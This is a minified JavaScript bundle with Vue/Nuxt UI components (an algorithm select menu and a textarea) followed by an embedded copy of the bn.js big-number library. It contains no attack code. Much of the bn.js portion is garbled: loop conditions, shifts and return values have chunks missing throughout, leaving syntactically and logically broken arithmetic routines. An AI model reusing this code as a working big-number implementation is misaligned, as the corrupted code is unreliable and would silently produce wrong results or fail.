G(),oe("div",n0,[he(b,{modelValue:Z(i).options.algorithm,"onUpdate:modelValue":s[0]||(s[0]=p=>Z(i).options.algorithm=p),options:Object.values(Z(Pr)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm payload"},{default:et(({open:p})=>[he(d,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(dt(Z(i).options.algorithm)+" ",1),he(o,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[p&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}}),br=dn(nt.ui.strategy,nt.ui.textarea,Ll),a0=xe({inheritAttrs:!1,props:{modelValue:{type:[String,Number],default:""},id:{type:String,default:null},name:{type:String,default:null},placeholder:{type:String,default:null},required:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},rows:{type:Number,default:3},maxrows:{type:Number,default:0},autoresize:{type:Boolean,default:!1},autofocus:{type:Boolean,default:!1},autofocusDelay:{type:Number,default:100},resize:{type:Boolean,default:!1},padded:{type:Boolean,default:!0},size:{type:String,default:null,validator(e){return Object.keys(br.size).includes(e)}},color:{type:String,default:()=>br.default.color,validator(e){return[...nt.ui.colors,...Object.keys(br.color)].includes(e)}},variant:{type:String,default:()=>br.default.variant,validator(e){return[...Object.keys(br.variant),...Object.values(br.color).flatMap(t=>Object.keys(t))].includes(e)}},textareaClass:{type:String,default:null},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})},modelModifiers:{type:Object,default:()=>({})}},emits:["update:modelValue","blur","change"],setup(e,{emit:t}){const{ui:r,attrs:n}=Rn("textarea",Nr(e,"ui"),br,Nr(e,"class")),{emitFormBlur:i,emitFormInput:a,inputId:s,color:o,size:d,name:b}=Ks(e,br),p=re(ns({},e.modelModifiers,{trim:!1,lazy:!1,number:!1})),m=re(null),E=()=>{var R;e.autofocus&&((R=m.value)==null||R.focus())},I=()=>{if(e.autoresize){if(!m.value)return;m.value.rows=e.rows;const R=window.getComputedStyle(m.value),N=parseInt(R.paddingTop),$=parseInt(R.paddingBottom),L=N+$,K=parseInt(R.lineHeight),{scrollHeight:j}=m.value,H=(j-L)/K;H>e.rows&&(m.value.rows=e.maxrows?Math.min(H,e.maxrows):H)}},B=R=>{p.value.trim&&(R=R.trim()),p.value.number&&(R=dl(R)),t("update:modelValue",R),a()},C=R=>{I(),p.value.lazy||B(R.target.value)},F=R=>{const N=R.target.value;t("change",N),p.value.lazy&&B(N),p.value.trim&&(R.target.value=N.trim())},z=R=>{t("blur",R),i()};Rt(()=>{setTimeout(()=>{E()},e.autofocusDelay)}),Je(()=>e.modelValue,()=>{ot(I)}),Rt(()=>{setTimeout(()=>{E(),I()},100)});const D=q(()=>{var N,$;const R=(($=(N=r.value.color)==null?void 0:N[o.value])==null?void 0:$[e.variant])||r.value.variant[e.variant];return Cn(ct(r.value.base,r.value.form,r.value.rounded,r.value.placeholder,r.value.size[d.value],e.padded?r.value.padding[d.value]:"p-0",R==null?void 0:R.replaceAll("{color}",o.value),!e.resize&&"resize-none"),e.textareaClass)});return{ui:r,attrs:n,name:b,inputId:s,textarea:m,textareaClass:D,onInput:C,onChange:F,onBlur:z}}}),o0=["id","value","name","rows","required","disabled","placeholder"];function s0(e,t,r,n,i,a){return G(),oe("div",{class:ae(e.ui.wrapper)},[ne("textarea",lr({id:e.inputId,ref:"textarea",value:e.modelValue,name:e.name,rows:e.rows,required:e.required,disabled:e.disabled,placeholder:e.placeholder,class:e.textareaClass},e.attrs,{onInput:t[0]||(t[0]=(...s)=>e.onInput&&e.onInput(...s)),onBlur:t[1]||(t[1]=(...s)=>e.onBlur&&e.onBlur(...s)),onChange:t[2]||(t[2]=(...s)=>e.onChange&&e.onChange(...s))}),null,16,o0),at(e.$slots,"default")],2)}const qa=Kr(a0,[["render",s0]]);var Er={},Ha={exports:{}};const f0={},l0=Object.freeze(Object.defineProperty({__proto__:null,default:f0},Symbol.toStringTag,{value:"Module"})),ff=cd(l0);Ha.exports;(function(e){(function(t,r){function n(x,f){if(!x)throw new Error(f||"Assertion failed")}function i(x,f){x.super_=f;var h=function(){};h.prototype=f.prototype,x.prototype=new h,x.prototype.constructor=x}function a(x,f,h){if(a.isBN(x))return x;this.negative=0,this.words=null,this.length=0,this.red=null,x!==null&&((f==="le"||f==="be")&&(h=f,f=10),this._init(x||0,f||10,h||"be"))}typeof t=="object"?t.exports=a:r.BN=a,a.BN=a,a.wordSize=26;var s;try{typeof window<"u"&&typeof window.Buffer<"u"?s=window.Buffer:s=ff.Buffer}catch{}a.isBN=function(f){return f instanceof a?!0:f!==null&&typeof f=="object"&&f.constructor.wordSize===a.wordSize&&Array.isArray(f.words)},a.max=function(f,h){return f.cmp(h)>0?f:h},a.min=function(f,h){return f.cmp(h)<0?f:h},a.prototype._init=function(f,h,g){if(typeof f=="number")return this._initNumber(f,h,g);if(typeof f=="object")return this._initArray(f,h,g);h==="hex"&&(h=16),n(h===(h|0)&&h>=2&&h<=36),f=f.toString().replace(/\s+/g,"");var y=0;f[0]==="-"&&(y++,this.negative=1),y=0;y-=3)A=f[y]|f[y-1]<<8|f[y-2]<<16,this.words[M]|=A<>>26-k&67108863,k+=24,k>=26&&(k-=26,M++);else if(g==="le")for(y=0,M=0;y>>26-k&67108863,k+=24,k>=26&&(k-=26,M++);return this.strip()};function o(x,f){var h=x.charCodeAt(f);return h>=65&&h<=70?h-55:h>=97&&h<=102?h-87:h-48&15}function d(x,f,h){var g=o(x,h);return h-1>=f&&(g|=o(x,h-1)<<4),g}a.prototype._parseHex=function(f,h,g){this.length=Math.ceil((f.length-h)/6),this.words=new Array(this.length);for(var y=0;y=h;y-=2)k=d(f,h,y)<=18?(M-=18,A+=1,this.words[A]|=k>>>26):M+=8;else{var _=f.length-h;for(y=_%2===0?h+1:h;y=18?(M-=18,A+=1,this.words[A]|=k>>>26):M+=8}this.strip()};function b(x,f,h,g){for(var y=0,M=Math.min(x.length,h),A=f;A=49?y+=k-49+10:k>=17?y+=k-17+10:y+=k}return y}a.prototype._parseBase=function(f,h,g){this.words=[0],this.length=1;for(var y=0,M=1;M<=67108863;M*=h)y++;y--,M=M/h|0;for(var A=f.length-g,k=A%y,_=Math.min(A,A-k)+g,u=0,S=g;S<_;S+=y)u=b(f,S,S+y,h),this.imuln(M),this.words[0]+u<67108864?this.words[0]+=u:this._iaddn(u);if(k!==0){var V=1;for(u=b(f,S,f.length,h),S=0;S1&&this.words[this.length-1]===0;)this.length--;return this._normSign()},a.prototype._normSign=function(){return this.length===1&&this.words[0]===0&&(this.negative=0),this},a.prototype.inspect=function(){return(this.red?""};var p=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],m=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],E=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];a.prototype.toString=function(f,h){f=f||10,h=h|0||1;var g;if(f===16||f==="hex"){g="";for(var y=0,M=0,A=0;A>>24-y&16777215,M!==0||A!==this.length-1?g=p[6-_.length]+_+g:g=_+g,y+=2,y>=26&&(y-=26,A--)}for(M!==0&&(g=M.toString(16)+g);g.length%h!==0;)g="0"+g;return this.negative!==0&&(g="-"+g),g}if(f===(f|0)&&f>=2&&f<=36){var u=m[f],S=E[f];g="";var V=this.clone();for(V.negative=0;!V.isZero();){var W=V.modn(S).toString(f);V=V.idivn(S),V.isZero()?g=W+g:g=p[u-W.length]+W+g}for(this.isZero()&&(g="0"+g);g.length%h!==0;)g="0"+g;return this.negative!==0&&(g="-"+g),g}n(!1,"Base should be between 2 and 36")},a.prototype.toNumber=function(){var f=this.words[0];return this.length===2?f+=this.words[1]*67108864:this.length===3&&this.words[2]===1?f+=4503599627370496+this.words[1]*67108864:this.length>2&&n(!1,"Number can only safely store up to 53 bits"),this.negative!==0?-f:f},a.prototype.toJSON=function(){return this.toString(16)},a.prototype.toBuffer=function(f,h){return n(typeof s<"u"),this.toArrayLike(s,f,h)},a.prototype.toArray=function(f,h){return this.toArrayLike(Array,f,h)},a.prototype.toArrayLike=function(f,h,g){var y=this.byteLength(),M=g||Math.max(1,y);n(y<=M,"byte array longer than desired length"),n(M>0,"Requested array length <= 0"),this.strip();var A=h==="le",k=new f(M),_,u,S=this.clone();if(A){for(u=0;!S.isZero();u++)_=S.andln(255),S.iushrn(8),k[u]=_;for(;u=4096&&(g+=13,h>>>=13),h>=64&&(g+=7,h>>>=7),h>=8&&(g+=4,h>>>=4),h>=2&&(g+=2,h>>>=2),g+h},a.prototype._zeroBits=function(f){if(f===0)return 26;var h=f,g=0;return h&8191||(g+=13,h>>>=13),h&127||(g+=7,h>>>=7),h&15||(g+=4,h>>>=4),h&3||(g+=2,h>>>=2),h&1||g++,g},a.prototype.bitLength=function(){var f=this.words[this.length-1],h=this._countBits(f);return(this.length-1)*26+h};function I(x){for(var f=new Array(x.bitLength()),h=0;h>>y}return f}a.prototype.zeroBits=function(){if(this.isZero())return 0;for(var f=0,h=0;hf.length?this.clone().ior(f):f.clone().ior(this)},a.prototype.uor=function(f){return this.length>f.length?this.clone().iuor(f):f.clone().iuor(this)},a.prototype.iuand=function(f){var h;this.length>f.length?h=f:h=this;for(var g=0;gf.length?this.clone().iand(f):f.clone().iand(this)},a.prototype.uand=function(f){return this.length>f.length?this.clone().iuand(f):f.clone().iuand(this)},a.prototype.iuxor=function(f){var h,g;this.length>f.length?(h=this,g=f):(h=f,g=this);for(var y=0;yf.length?this.clone().ixor(f):f.clone().ixor(this)},a.prototype.uxor=function(f){return this.length>f.length?this.clone().iuxor(f):f.clone().iuxor(this)},a.prototype.inotn=function(f){n(typeof f=="number"&&f>=0);var h=Math.ceil(f/26)|0,g=f%26;this._expand(h),g>0&&h--;for(var y=0;y0&&(this.words[y]=~this.words[y]&67108863>>26-g),this.strip()},a.prototype.notn=function(f){return this.clone().inotn(f)},a.prototype.setn=function(f,h){n(typeof f=="number"&&f>=0);var g=f/26|0,y=f%26;return this._expand(g+1),h?this.words[g]=this.words[g]|1<f.length?(g=this,y=f):(g=f,y=this);for(var M=0,A=0;A>>26;for(;M!==0&&A>>26;if(this.length=g.length,M!==0)this.words[this.length]=M,this.length++;else if(g!==this)for(;Af.length?this.clone().iadd(f):f.clone().iadd(this)},a.prototype.isub=function(f){if(f.negative!==0){f.negative=0;var h=this.iadd(f);return f.negative=1,h._normSign()}else if(this.negative!==0)return this.negative=0,this.iadd(f),this.negative=1,this._normSign();var g=this.cmp(f);if(g===0)return this.negative=0,this.length=1,this.words[0]=0,this;var y,M;g>0?(y=this,M=f):(y=f,M=this);for(var A=0,k=0;k>26,this.words[k]=h&67108863;for(;A!==0&&k>26,this.words[k]=h&67108863;if(A===0&&k>>26,V=_&67108863,W=Math.min(u,f.length-1),J=Math.max(0,u-x.length+1);J<=W;J++){var X=u-J|0;y=x.words[X]|0,M=f.words[J]|0,A=y*M+V,S+=A/67108864|0,V=A&67108863}h.words[u]=V|0,_=S|0}return _!==0?h.words[u]=_|0:h.length--,h.strip()}var C=function(f,h,g){var y=f.words,M=h.words,A=g.words,k=0,_,u,S,V=y[0]|0,W=V&8191,J=V>>>13,X=y[1]|0,ie=X&8191,fe=X>>>13,Be=y[2]|0,le=Be&8191,ge=Be>>>13,pr=y[3]|0,Me=pr&8191,pe=pr>>>13,Ft=y[4]|0,Ae=Ft&8191,_e=Ft>>>13,nr=y[5]|0,Ie=nr&8191,Oe=nr>>>13,ut=y[6]|0,be=ut&8191,ue=ut>>>13,ir=y[7]|0,we=ir&8191,ce=ir>>>13,Or=y[8]|0,v=Or&8191,l=Or>>>13,c=y[9]|0,w=c&8191,O=c>>>13,T=M[0]|0,P=T&8191,Y=T>>>13,Ee=M[1]|0,Q=Ee&8191,te=Ee>>>13,ve=M[2]|0,Re=ve&8191,$e=ve>>>13,so=M[3]|0,Te=so&8191,Pe=so>>>13,fo=M[4]|0,Ne=fo&8191,ze=fo>>>13,lo=M[5]|0,De=lo&8191,Fe=lo>>>13,uo=M[6]|0,Le=uo&8191,je=uo>>>13,co=M[7]|0,Ue=co&8191,qe=co>>>13,ho=M[8]|0,He=ho&8191,Ve=ho>>>13,po=M[9]|0,Ke=po&8191,We=po>>>13;g.negative=f.negative^h.negative,g.length=19,_=Math.imul(W,P),u=Math.imul(W,Y),u=u+Math.imul(J,P)|0,S=Math.imul(J,Y);var Ei=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ei>>>26)|0,Ei&=67108863,_=Math.imul(ie,P),u=Math.imul(ie,Y),u=u+Math.imul(fe,P)|0,S=Math.imul(fe,Y),_=_+Math.imul(W,Q)|0,u=u+Math.imul(W,te)|0,u=u+Math.imul(J,Q)|0,S=S+Math.imul(J,te)|0;var Ai=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ai>>>26)|0,Ai&=67108863,_=Math.imul(le,P),u=Math.imul(le,Y),u=u+Math.imul(ge,P)|0,S=Math.imul(ge,Y),_=_+Math.imul(ie,Q)|0,u=u+Math.imul(ie,te)|0,u=u+Math.imul(fe,Q)|0,S=S+Math.imul(fe,te)|0,_=_+Math.imul(W,Re)|0,u=u+Math.imul(W,$e)|0,u=u+Math.imul(J,Re)|0,S=S+Math.imul(J,$e)|0;var Ii=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ii>>>26)|0,Ii&=67108863,_=Math.imul(Me,P),u=Math.imul(Me,Y),u=u+Math.imul(pe,P)|0,S=Math.imul(pe,Y),_=_+Math.imul(le,Q)|0,u=u+Math.imul(le,te)|0,u=u+Math.imul(ge,Q)|0,S=S+Math.imul(ge,te)|0,_=_+Math.imul(ie,Re)|0,u=u+Math.imul(ie,$e)|0,u=u+Math.imul(fe,Re)|0,S=S+Math.imul(fe,$e)|0,_=_+Math.imul(W,Te)|0,u=u+Math.imul(W,Pe)|0,u=u+Math.imul(J,Te)|0,S=S+Math.imul(J,Pe)|0;var Oi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Oi>>>26)|0,Oi&=67108863,_=Math.imul(Ae,P),u=Math.imul(Ae,Y),u=u+Math.imul(_e,P)|0,S=Math.imul(_e,Y),_=_+Math.imul(Me,Q)|0,u=u+Math.imul(Me,te)|0,u=u+Math.imul(pe,Q)|0,S=S+Math.imul(pe,te)|0,_=_+Math.imul(le,Re)|0,u=u+Math.imul(le,$e)|0,u=u+Math.imul(ge,Re)|0,S=S+Math.imul(ge,$e)|0,_=_+Math.imul(ie,Te)|0,u=u+Math.imul(ie,Pe)|0,u=u+Math.imul(fe,Te)|0,S=S+Math.imul(fe,Pe)|0,_=_+Math.imul(W,Ne)|0,u=u+Math.imul(W,ze)|0,u=u+Math.imul(J,Ne)|0,S=S+Math.imul(J,ze)|0;var Bi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Bi>>>26)|0,Bi&=67108863,_=Math.imul(Ie,P),u=Math.imul(Ie,Y),u=u+Math.imul(Oe,P)|0,S=Math.imul(Oe,Y),_=_+Math.imul(Ae,Q)|0,u=u+Math.imul(Ae,te)|0,u=u+Math.imul(_e,Q)|0,S=S+Math.imul(_e,te)|0,_=_+Math.imul(Me,Re)|0,u=u+Math.imul(Me,$e)|0,u=u+Math.imul(pe,Re)|0,S=S+Math.imul(pe,$e)|0,_=_+Math.imul(le,Te)|0,u=u+Math.imul(le,Pe)|0,u=u+Math.imul(ge,Te)|0,S=S+Math.imul(ge,Pe)|0,_=_+Math.imul(ie,Ne)|0,u=u+Math.imul(ie,ze)|0,u=u+Math.imul(fe,Ne)|0,S=S+Math.imul(fe,ze)|0,_=_+Math.imul(W,De)|0,u=u+Math.imul(W,Fe)|0,u=u+Math.imul(J,De)|0,S=S+Math.imul(J,Fe)|0;var ki=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(ki>>>26)|0,ki&=67108863,_=Math.imul(be,P),u=Math.imul(be,Y),u=u+Math.imul(ue,P)|0,S=Math.imul(ue,Y),_=_+Math.imul(Ie,Q)|0,u=u+Math.imul(Ie,te)|0,u=u+Math.imul(Oe,Q)|0,S=S+Math.imul(Oe,te)|0,_=_+Math.imul(Ae,Re)|0,u=u+Math.imul(Ae,$e)|0,u=u+Math.imul(_e,Re)|0,S=S+Math.imul(_e,$e)|0,_=_+Math.imul(Me,Te)|0,u=u+Math.imul(Me,Pe)|0,u=u+Math.imul(pe,Te)|0,S=S+Math.imul(pe,Pe)|0,_=_+Math.imul(le,Ne)|0,u=u+Math.imul(le,ze)|0,u=u+Math.imul(ge,Ne)|0,S=S+Math.imul(ge,ze)|0,_=_+Math.imul(ie,De)|0,u=u+Math.imul(ie,Fe)|0,u=u+Math.imul(fe,De)|0,S=S+Math.imul(fe,Fe)|0,_=_+Math.imul(W,Le)|0,u=u+Math.imul(W,je)|0,u=u+Math.imul(J,Le)|0,S=S+Math.imul(J,je)|0;var Ci=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ci>>>26)|0,Ci&=67108863,_=Math.imul(we,P),u=Math.imul(we,Y),u=u+Math.imul(ce,P)|0,S=Math.imul(ce,Y),_=_+Math.imul(be,Q)|0,u=u+Math.imul(be,te)|0,u=u+Math.imul(ue,Q)|0,S=S+Math.imul(ue,te)|0,_=_+Math.imul(Ie,Re)|0,u=u+Math.imul(Ie,$e)|0,u=u+Math.imul(Oe,Re)|0,S=S+Math.imul(Oe,$e)|0,_=_+Math.imul(Ae,Te)|0,u=u+Math.imul(Ae,Pe)|0,u=u+Math.imul(_e,Te)|0,S=S+Math.imul(_e,Pe)|0,_=_+Math.imul(Me,Ne)|0,u=u+Math.imul(Me,ze)|0,u=u+Math.imul(pe,Ne)|0,S=S+Math.imul(pe,ze)|0,_=_+Math.imul(le,De)|0,u=u+Math.imul(le,Fe)|0,u=u+Math.imul(ge,De)|0,S=S+Math.imul(ge,Fe)|0,_=_+Math.imul(ie,Le)|0,u=u+Math.imul(ie,je)|0,u=u+Math.imul(fe,Le)|0,S=S+Math.imul(fe,je)|0,_=_+Math.imul(W,Ue)|0,u=u+Math.imul(W,qe)|0,u=u+Math.imul(J,Ue)|0,S=S+Math.imul(J,qe)|0;var Ri=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ri>>>26)|0,Ri&=67108863,_=Math.imul(v,P),u=Math.imul(v,Y),u=u+Math.imul(l,P)|0,S=Math.imul(l,Y),_=_+Math.imul(we,Q)|0,u=u+Math.imul(we,te)|0,u=u+Math.imul(ce,Q)|0,S=S+Math.imul(ce,te)|0,_=_+Math.imul(be,Re)|0,u=u+Math.imul(be,$e)|0,u=u+Math.imul(ue,Re)|0,S=S+Math.imul(ue,$e)|0,_=_+Math.imul(Ie,Te)|0,u=u+Math.imul(Ie,Pe)|0,u=u+Math.imul(Oe,Te)|0,S=S+Math.imul(Oe,Pe)|0,_=_+Math.imul(Ae,Ne)|0,u=u+Math.imul(Ae,ze)|0,u=u+Math.imul(_e,Ne)|0,S=S+Math.imul(_e,ze)|0,_=_+Math.imul(Me,De)|0,u=u+Math.imul(Me,Fe)|0,u=u+Math.imul(pe,De)|0,S=S+Math.imul(pe,Fe)|0,_=_+Math.imul(le,Le)|0,u=u+Math.imul(le,je)|0,u=u+Math.imul(ge,Le)|0,S=S+Math.imul(ge,je)|0,_=_+Math.imul(ie,Ue)|0,u=u+Math.imul(ie,qe)|0,u=u+Math.imul(fe,Ue)|0,S=S+Math.imul(fe,qe)|0,_=_+Math.imul(W,He)|0,u=u+Math.imul(W,Ve)|0,u=u+Math.imul(J,He)|0,S=S+Math.imul(J,Ve)|0;var $i=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+($i>>>26)|0,$i&=67108863,_=Math.imul(w,P),u=Math.imul(w,Y),u=u+Math.imul(O,P)|0,S=Math.imul(O,Y),_=_+Math.imul(v,Q)|0,u=u+Math.imul(v,te)|0,u=u+Math.imul(l,Q)|0,S=S+Math.imul(l,te)|0,_=_+Math.imul(we,Re)|0,u=u+Math.imul(we,$e)|0,u=u+Math.imul(ce,Re)|0,S=S+Math.imul(ce,$e)|0,_=_+Math.imul(be,Te)|0,u=u+Math.imul(be,Pe)|0,u=u+Math.imul(ue,Te)|0,S=S+Math.imul(ue,Pe)|0,_=_+Math.imul(Ie,Ne)|0,u=u+Math.imul(Ie,ze)|0,u=u+Math.imul(Oe,Ne)|0,S=S+Math.imul(Oe,ze)|0,_=_+Math.imul(Ae,De)|0,u=u+Math.imul(Ae,Fe)|0,u=u+Math.imul(_e,De)|0,S=S+Math.imul(_e,Fe)|0,_=_+Math.imul(Me,Le)|0,u=u+Math.imul(Me,je)|0,u=u+Math.imul(pe,Le)|0,S=S+Math.imul(pe,je)|0,_=_+Math.imul(le,Ue)|0,u=u+Math.imul(le,qe)|0,u=u+Math.imul(ge,Ue)|0,S=S+Math.imul(ge,qe)|0,_=_+Math.imul(ie,He)|0,u=u+Math.imul(ie,Ve)|0,u=u+Math.imul(fe,He)|0,S=S+Math.imul(fe,Ve)|0,_=_+Math.imul(W,Ke)|0,u=u+Math.imul(W,We)|0,u=u+Math.imul(J,Ke)|0,S=S+Math.imul(J,We)|0;var Ti=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ti>>>26)|0,Ti&=67108863,_=Math.imul(w,Q),u=Math.imul(w,te),u=u+Math.imul(O,Q)|0,S=Math.imul(O,te),_=_+Math.imul(v,Re)|0,u=u+Math.imul(v,$e)|0,u=u+Math.imul(l,Re)|0,S=S+Math.imul(l,$e)|0,_=_+Math.imul(we,Te)|0,u=u+Math.imul(we,Pe)|0,u=u+Math.imul(ce,Te)|0,S=S+Math.imul(ce,Pe)|0,_=_+Math.imul(be,Ne)|0,u=u+Math.imul(be,ze)|0,u=u+Math.imul(ue,Ne)|0,S=S+Math.imul(ue,ze)|0,_=_+Math.imul(Ie,De)|0,u=u+Math.imul(Ie,Fe)|0,u=u+Math.imul(Oe,De)|0,S=S+Math.imul(Oe,Fe)|0,_=_+Math.imul(Ae,Le)|0,u=u+Math.imul(Ae,je)|0,u=u+Math.imul(_e,Le)|0,S=S+Math.imul(_e,je)|0,_=_+Math.imul(Me,Ue)|0,u=u+Math.imul(Me,qe)|0,u=u+Math.imul(pe,Ue)|0,S=S+Math.imul(pe,qe)|0,_=_+Math.imul(le,He)|0,u=u+Math.imul(le,Ve)|0,u=u+Math.imul(ge,He)|0,S=S+Math.imul(ge,Ve)|0,_=_+Math.imul(ie,Ke)|0,u=u+Math.imul(ie,We)|0,u=u+Math.imul(fe,Ke)|0,S=S+Math.imul(fe,We)|0;var Pi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Pi>>>26)|0,Pi&=67108863,_=Math.imul(w,Re),u=Math.imul(w,$e),u=u+Math.imul(O,Re)|0,S=Math.imul(O,$e),_=_+Math.imul(v,Te)|0,u=u+Math.imul(v,Pe)|0,u=u+Math.imul(l,Te)|0,S=S+Math.imul(l,Pe)|0,_=_+Math.imul(we,Ne)|0,u=u+Math.imul(we,ze)|0,u=u+Math.imul(ce,Ne)|0,S=S+Math.imul(ce,ze)|0,_=_+Math.imul(be,De)|0,u=u+Math.imul(be,Fe)|0,u=u+Math.imul(ue,De)|0,S=S+Math.imul(ue,Fe)|0,_=_+Math.imul(Ie,Le)|0,u=u+Math.imul(Ie,je)|0,u=u+Math.imul(Oe,Le)|0,S=S+Math.imul(Oe,je)|0,_=_+Math.imul(Ae,Ue)|0,u=u+Math.imul(Ae,qe)|0,u=u+Math.imul(_e,Ue)|0,S=S+Math.imul(_e,qe)|0,_=_+Math.imul(Me,He)|0,u=u+Math.imul(Me,Ve)|0,u=u+Math.imul(pe,He)|0,S=S+Math.imul(pe,Ve)|0,_=_+Math.imul(le,Ke)|0,u=u+Math.imul(le,We)|0,u=u+Math.imul(ge,Ke)|0,S=S+Math.imul(ge,We)|0;var Ni=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ni>>>26)|0,Ni&=67108863,_=Math.imul(w,Te),u=Math.imul(w,Pe),u=u+Math.imul(O,Te)|0,S=Math.imul(O,Pe),_=_+Math.imul(v,Ne)|0,u=u+Math.imul(v,ze)|0,u=u+Math.imul(l,Ne)|0,S=S+Math.imul(l,ze)|0,_=_+Math.imul(we,De)|0,u=u+Math.imul(we,Fe)|0,u=u+Math.imul(ce,De)|0,S=S+Math.imul(ce,Fe)|0,_=_+Math.imul(be,Le)|0,u=u+Math.imul(be,je)|0,u=u+Math.imul(ue,Le)|0,S=S+Math.imul(ue,je)|0,_=_+Math.imul(Ie,Ue)|0,u=u+Math.imul(Ie,qe)|0,u=u+Math.imul(Oe,Ue)|0,S=S+Math.imul(Oe,qe)|0,_=_+Math.imul(Ae,He)|0,u=u+Math.imul(Ae,Ve)|0,u=u+Math.imul(_e,He)|0,S=S+Math.imul(_e,Ve)|0,_=_+Math.imul(Me,Ke)|0,u=u+Math.imul(Me,We)|0,u=u+Math.imul(pe,Ke)|0,S=S+Math.imul(pe,We)|0;var zi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(zi>>>26)|0,zi&=67108863,_=Math.imul(w,Ne),u=Math.imul(w,ze),u=u+Math.imul(O,Ne)|0,S=Math.imul(O,ze),_=_+Math.imul(v,De)|0,u=u+Math.imul(v,Fe)|0,u=u+Math.imul(l,De)|0,S=S+Math.imul(l,Fe)|0,_=_+Math.imul(we,Le)|0,u=u+Math.imul(we,je)|0,u=u+Math.imul(ce,Le)|0,S=S+Math.imul(ce,je)|0,_=_+Math.imul(be,Ue)|0,u=u+Math.imul(be,qe)|0,u=u+Math.imul(ue,Ue)|0,S=S+Math.imul(ue,qe)|0,_=_+Math.imul(Ie,He)|0,u=u+Math.imul(Ie,Ve)|0,u=u+Math.imul(Oe,He)|0,S=S+Math.imul(Oe,Ve)|0,_=_+Math.imul(Ae,Ke)|0,u=u+Math.imul(Ae,We)|0,u=u+Math.imul(_e,Ke)|0,S=S+Math.imul(_e,We)|0;var Di=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Di>>>26)|0,Di&=67108863,_=Math.imul(w,De),u=Math.imul(w,Fe),u=u+Math.imul(O,De)|0,S=Math.imul(O,Fe),_=_+Math.imul(v,Le)|0,u=u+Math.imul(v,je)|0,u=u+Math.imul(l,Le)|0,S=S+Math.imul(l,je)|0,_=_+Math.imul(we,Ue)|0,u=u+Math.imul(we,qe)|0,u=u+Math.imul(ce,Ue)|0,S=S+Math.imul(ce,qe)|0,_=_+Math.imul(be,He)|0,u=u+Math.imul(be,Ve)|0,u=u+Math.imul(ue,He)|0,S=S+Math.imul(ue,Ve)|0,_=_+Math.imul(Ie,Ke)|0,u=u+Math.imul(Ie,We)|0,u=u+Math.imul(Oe,Ke)|0,S=S+Math.imul(Oe,We)|0;var Fi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Fi>>>26)|0,Fi&=67108863,_=Math.imul(w,Le),u=Math.imul(w,je),u=u+Math.imul(O,Le)|0,S=Math.imul(O,je),_=_+Math.imul(v,Ue)|0,u=u+Math.imul(v,qe)|0,u=u+Math.imul(l,Ue)|0,S=S+Math.imul(l,qe)|0,_=_+Math.imul(we,He)|0,u=u+Math.imul(we,Ve)|0,u=u+Math.imul(ce,He)|0,S=S+Math.imul(ce,Ve)|0,_=_+Math.imul(be,Ke)|0,u=u+Math.imul(be,We)|0,u=u+Math.imul(ue,Ke)|0,S=S+Math.imul(ue,We)|0;var Li=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Li>>>26)|0,Li&=67108863,_=Math.imul(w,Ue),u=Math.imul(w,qe),u=u+Math.imul(O,Ue)|0,S=Math.imul(O,qe),_=_+Math.imul(v,He)|0,u=u+Math.imul(v,Ve)|0,u=u+Math.imul(l,He)|0,S=S+Math.imul(l,Ve)|0,_=_+Math.imul(we,Ke)|0,u=u+Math.imul(we,We)|0,u=u+Math.imul(ce,Ke)|0,S=S+Math.imul(ce,We)|0;var ji=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(ji>>>26)|0,ji&=67108863,_=Math.imul(w,He),u=Math.imul(w,Ve),u=u+Math.imul(O,He)|0,S=Math.imul(O,Ve),_=_+Math.imul(v,Ke)|0,u=u+Math.imul(v,We)|0,u=u+Math.imul(l,Ke)|0,S=S+Math.imul(l,We)|0;var Ui=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ui>>>26)|0,Ui&=67108863,_=Math.imul(w,Ke),u=Math.imul(w,We),u=u+Math.imul(O,Ke)|0,S=Math.imul(O,We);var qi=(k+_|0)+((u&8191)<<13)|0;return 